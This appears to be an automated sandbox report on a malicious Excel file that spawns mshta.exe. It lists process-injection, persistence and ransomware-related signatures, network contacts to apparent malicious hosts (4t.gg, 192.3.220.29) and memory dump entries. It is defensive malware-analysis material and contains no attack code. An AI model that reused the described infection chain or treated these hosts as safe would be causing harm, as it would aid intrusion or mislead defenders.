SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 07:21

Reported

2024-11-13 07:23

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\CI.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4644 wrote to memory of 2688 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 4644 wrote to memory of 2688 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\CI.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 4t.gg udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
KR 221.146.204.133:443 4t.gg tcp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.75:80 r10.o.lencr.org tcp
US 8.8.8.8:53 133.204.146.221.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 32.169.19.2.in-addr.arpa udp
US 8.8.8.8:53 75.210.23.2.in-addr.arpa udp
US 192.3.220.29:80 192.3.220.29 tcp
US 8.8.8.8:53 29.220.3.192.in-addr.arpa udp
US 8.8.8.8:53 226.162.46.104.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

memory/4644-2-0x00007FFD13F70000-0x00007FFD13F80000-memory.dmp

memory/4644-3-0x00007FFD53F8D000-0x00007FFD53F8E000-memory.dmp

memory/4644-1-0x00007FFD13F70000-0x00007FFD13F80000-memory.dmp

memory/4644-0-0x00007FFD13F70000-0x00007FFD13F80000-memory.dmp

memory/4644-4-0x00007FFD13F70000-0x00007FFD13F80000-memory.dmp

memory/4644-5-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-9-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-10-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-11-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-12-0x00007FFD11610000-0x00007FFD11620000-memory.dmp

memory/4644-8-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-13-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-14-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-15-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-16-0x00007FFD11610000-0x00007FFD11620000-memory.dmp

memory/4644-19-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-22-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-21-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-20-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-18-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-17-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-7-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-6-0x00007FFD13F70000-0x00007FFD13F80000-memory.dmp

memory/2688-42-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/2688-46-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/2688-45-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/4644-48-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/2688-52-0x00007FFD53EF0000-0x00007FFD540E5000-memory.dmp

memory/2688-53-0x00007FF6CACF0000-0x00007FF6CACF8000-memory.dmp